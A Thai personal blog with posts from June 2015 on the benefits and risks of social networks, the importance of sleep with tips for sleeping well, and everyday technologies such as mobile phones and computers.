       สำหรับเราแล้ว social network นั้นมีความสำคัญไม่น้อยเลย ไม่ว่าจะใครก็ตาม เพราะการที่มี social network ทำให้สะดวกต่อการติดต่อสื่อสาร โดยเฉพาะการที่ต้องติดต่อกับบุคคลหลายๆคนในเวลาเดียวกัน มันจะทำให้ประหยัดเวลาได้มากทีเดียว นอกจากนี้ยังสามารถอัพโหลด ดาวน์โหลด รูปภาพ วีดีโอ สามารถแนบไฟล์เอกสาร ติดตามข่าวสารต่างๆ สามารถค้นคว้าหาความรู้ และอื่นๆอีกมากมาย

       ถึงแม้ว่า social network จะมีประโยชน์มากมาย แต่ก็มีข้อเสียไม่น้อยเช่นกัน โดยหากนำไปใช้ในทางที่ผิดก็อาจจะทำให้เกิดอันตรายกับตนเองได้ เช่น อาจถูกล่อลวง อาจถูกแฮคและนำมาซึ่งปัญหาการก่ออาชญากรรมอื่นๆ นอกจากนี้อาจมีสื่อที่ไม่ดีถูกเผยแพร่ออกมา หรืออาจทำให้ใครบางคนอาจเสื่อมเสียชื่อเสียงได้ ซึ่งเมื่อเกิดเรื่องแบบนี้ขึ้น เรื่องอาจต้องถึงมือตำรวจเลยก็ได้

ที่มา http://www.jthaisoft.com/jthaisoft/images/stories/social/social-network.jpg

       ดังนั้น การใช้ social network ควรที่จะใช้อย่างระมัดระวัง ไม่ควรก้าวก่ายสิทธิส่วนบุคคลของคนอื่นเด็ดขาด และควรใช้อย่างมีวิจารณญาณให้มากที่สุด




ที่มา
http://www.microbrand.co/social-network-คืออะไร-ใช้งานอย่างไร/

วันจันทร์ที่ 8 มิถุนายน พ.ศ. 2558

การนอนเท่านั้นที่ครองโลก =3=



การนอนเท่านั้นที่ครองโลก
ที่มา http://www.iammomsociety.com/library-care/photo/childsleep-imomsociety.jpg
      การนอนเป็นส่วนหนึ่งในชีวิตประจำวันที่ทุกคนพึงปฏิบัติ เพราะการนอนหลับเป็นการพักผ่อนสมองของเราที่อ่อนล้ามาทั้งวันจากการทำงานต่างๆ นอกจากจะเป็นการพักผ่อนสมองแล้ว ยังเป็นการซ่อมแซมส่วนต่างๆของร่างกายจากกิจวัตรต่างๆในแต่ละวันของเราอีกด้วย

      แต่ก็ยังมีผู้ที่ประสบปัญหากับการนอนไม่หลับ นอนไม่เต็มอิ่มอยู่ ซึ่งพฤติกรรมเหล่านี้ก็มันจะส่งผลร้ายตามมาด้วย โดยการนอนหลับในแต่ละวันของเราจะอยู่ที่ 7-9 ชั่วโมง และได้มีการศึกษาวิจัยในต่างประเทศพบว่า คนที่นอนน้อยกว่า 4 ชั่วโมงหรือนอนมากกว่า 10 ชั่วโมงต่อคืน เป็นกิจวัตรมีอายุสั้นกว่าคนที่นอนหลับปกติและคนที่นอนหลับไม่เพียงพอนานๆ มีโอกาสเสี่ยงต่อการเกิดโรคร้ายแรงในอนาคตมากขึ้น เช่น โรคหัวใจขาดเลือด โรคหลอดเลือดสมอง เด็กในวัยเจริญเติบโตที่นอนดึกตื่นเช้าเป็นประจำจะตัวเล็ก โตช้ากว่าเด็กที่นอนหลับสนิทเพียงพอเพราะฮอร์โมนที่เกี่ยวกับการเจริญเติบโต (Growth Hormone) จะหลั่งได้เต็มที่ขณะหลับลึก ดังนั้น จึงควรให้เด็กนอนเพียงพอ และไม่ปลุกขณะหลับสนิท

       การที่เรานอนหลับไม่เพียงพอต่อความต้องการของร่างกายนั้น อาจส่งผลให้ประสิทธิภาพการทำงานของสมองลดลง มีอาการหน้ามืด ปวดหัว ระคายเคืองบริเวณตา และอาจมีโรคภัยไข้เจ็บตามมา อาจจะตัองเสียเงินไปกับการรักษาตนเองมากๆอีกด้วย ดังนั้นการนอนจึงเป็นสิ่งที่สำคัญที่ไม่ควรละเลยและควรใส่ใจกับมันให้มาก

ช่วงเวลาการนอนหลับของเราจะแบ่งออกเป็น 2 ระยะ คือ

1. ระยะคลื่นสมองช้า

- หลับตื้นเป็นช่วงเริ่มง่วง คลื่นสมองจะเริ่มช้าลง ยังรู้สึกตัวอยู่จะมีการหลับๆ ตื่นๆ
- หลับลึก เริ่มมีการกรน กัดฟัน ฯลฯ
- หลับลึกมาก หลับลึกมากสุด กำลังเข้าสู่ระยะฝัน

2. ระยะฝัน

       เป็นระยะที่ร่างกายทุกส่วนหยุดการเคลื่อนไหว หรือเคลื่อนไหวเพียงเล็กน้อยเท่านั้น การฝันจะเกิดเป็นวงจร หมุนเวียนไปตั้งแต่การหลับในระดับตื้นๆ จนถึงหลับลึกและฝัน (ประมาณ 45 นาที) ซึ่งช่วงระยะฝันนี้จะมีช่วงเวลายาวมากที่สุด คือ ช่วงเช้ามืด ทำให้จำความฝันได้

       บางครั้งเมื่อตื่นขึ้นจากฝันเราอาจขยับตัวไม่ได้ นั่นก็เพราะร่างกายหยุดการเคลื่อนไหวตามคำสั่งของสมอง จนรู้สึกเหมือนโดนผีอำ
ที่มา http://blog.quitnet.com/Portals/44427/images/Animals_Dogs_Sleeping_puppies

_014322_.jpg

การนอนที่ดีควรทำอย่างไร

  1. ไม่ควรนอนกลางวันก่อน เพราะจะทำให้นอนไม่หลับในตอนกลางคืน 
  2. ควรนอนก่อนเที่ยงคืน ไม่ควรอยู่ดึกมากกว่านี้ 
  3. ไม่ควรเปิดไฟตอนนอน เพราะจะทำให้เราตื่นง่ายขึ้น 
  4. บริเวณรอบๆของเราจะต้องเงียบ เพื่อไม่ให้มีเสียงรบกวนตอนนอน 
  5. การอ่านหนังสือก่อนนอนจะช่วยคุณได้ แต่ไม่ควรอ่านหนังสือจำพวก นิยาย การ์ตูนก่อนนอน เพราะจะติดลมจนนอนไม่หลับ 
  6. ไม่ควรเอาเรื่องงาน เรื่องเครียดๆมาคิดก่อนนอน เพราะจะทำให้นอนไม่หลับ 
  7. การดูหนังก็ช่วยคุณได้ แต่ห้ามดูหนังที่ทำให้ตื่นเต้น เพราะจะทำให้นอนไม่หลับ 
  8. ห้ามดื่มกาแฟก่อนนอน เพราะ ในกาแฟมีสารคาเฟอินที่จะทำให้ใจสั่นและนอนไม่หลับได้ 
  9. ออกกำลังกายช่วงเย็นๆ ประมาณ 4 โมงเย็น ทำให้ร่างกายอ่อนล้าจะหลับง่ายขึ้น 

       เมื่อเราได้นอนอย่างเต็มอิ่ม เราก็จะตื่นเช้ามาอย่างสดใส พร้อมที่จะทำกิจกรรมต่างๆของวันได้อย่างเต็มที่ แต่การนอนหลับควรนอนแต่หัวคำ่ให้เป็นนิสัย จะได้ตื่นเช้าได้เองโดยมีนาฬิกาชีวิตเป็นของตนเอง




ที่มา :
http://www.voathai.com/content/sleeping-hours-ss/1963259.html
http://www.thebestinsure.com/index.php?lay=show&ac=article&Id=396735

วันอาทิตย์ที่ 7 มิถุนายน พ.ศ. 2558

เทคโนโลยีในชีวิตประจำวัน



เทคโนโลยีในปัจจุบัน

       ปัจจุบันมนุษย์มีการพัฒนาสิ่งต่างๆเพื่อสนองความต้องการ และยังเพื่อความสะดวกสบายของตนเอง ไม่ว่าจะเป็นใครก็ไม่สามารถปฏิเสธได้เลยว่า เทคโนโลยีไม่มีความจำเป็น ทุกคนจำเป็นที่จะต้องใช้เทคโนโลยีทั้งนั้น ไม่ว่าจะเป็นการศึกษา การเดินทาง การรักษาความสะอาด การทำงาน หรือแม้แต่การใช้เพื่อความบันเทิง ไม่ว่าจะอย่างไหนเทคโนโลยีก็มีความสำคัญทั้งนั้น จึงทำให้ความต้องการในการใช้เทคโนโลยีมีมากขึ้นเรื่อยๆ และนอกจากนี้เมื่อความต้องการมากขี้นก็จะนำไปสู่การพัฒนาของเทคโนโลยีอีกหลายๆด้าน เพื่อทำให้เกิดความสะดวกสบายมากขึ้นไป


เทคโนโลยีที่นิยมใช้ในปัจจุบัน



ที่มา https://selfstoragenewengland.files.wordpress.com/2015/03/cell-phone.jpg

1. โทรศัพท์มือถือ(cell phone)

       เป็นสิ่งที่มนุษย์ส่วนใหญ่ให้ความสำคัญเป็นอย่างมา เพราะนอกจากที่จะสามารถติดต่อสื่อสารได้สะดวกและหลากหลายแล้ว ยังสามารถถ่ายรูป เล่นเกมส์ ทำงาน อัดวีดีโอ ฯลฯ ได้ด้วย แต่โทรศัพท์มือถือนั้นก็ยังมีข้อเสีย หากใช้อย่างไม่ถูกต้องและเหมาะสม อาจทำให้เกิดโรคในภายหลังได้


ที่มา http://queenslandcomputers.com.au/wp-content/uploads/2013/12/computer.jpg

2. คอมพิวเตอร์(computer)

       เป็นอุปกรณ์อีกอย่างหนึ่งที่นิยมใช้กันมาก โดยเฉพาะกับการทำงานในบริษัท เพราะจะต้องมีการพิมพ์เอกสาร จัดเรียงข้อมูล และอื่นๆอีกมากมาย นอกจากนี้ยังใช้เพื่อความบันเทิงได้ด้วย แต่ก็ยังมีข้อเสียตามมาหากใช้เป็นเวลาหลายชั่วโมงต่อวัน อาจส่งผลต่อสายตาได้


       การใช้เทคโนโลยีไม่ได้เป็นสิ่งที่ไม่ดี หรือเป็นสิ่งที่แย่อะไรนัก ถ้าหากรู้จักวิธีใช้ที่ถูกต้อง ไม่ใช้ในทางที่ทุจริต เทคโนโลยีก็จะเป็นสิ่งที่นำประโยชน์แก่ตัวเรา และยังควรใช้เทคโนโลยีให้เหมาะสม ใช้เท่าที่จำเป็น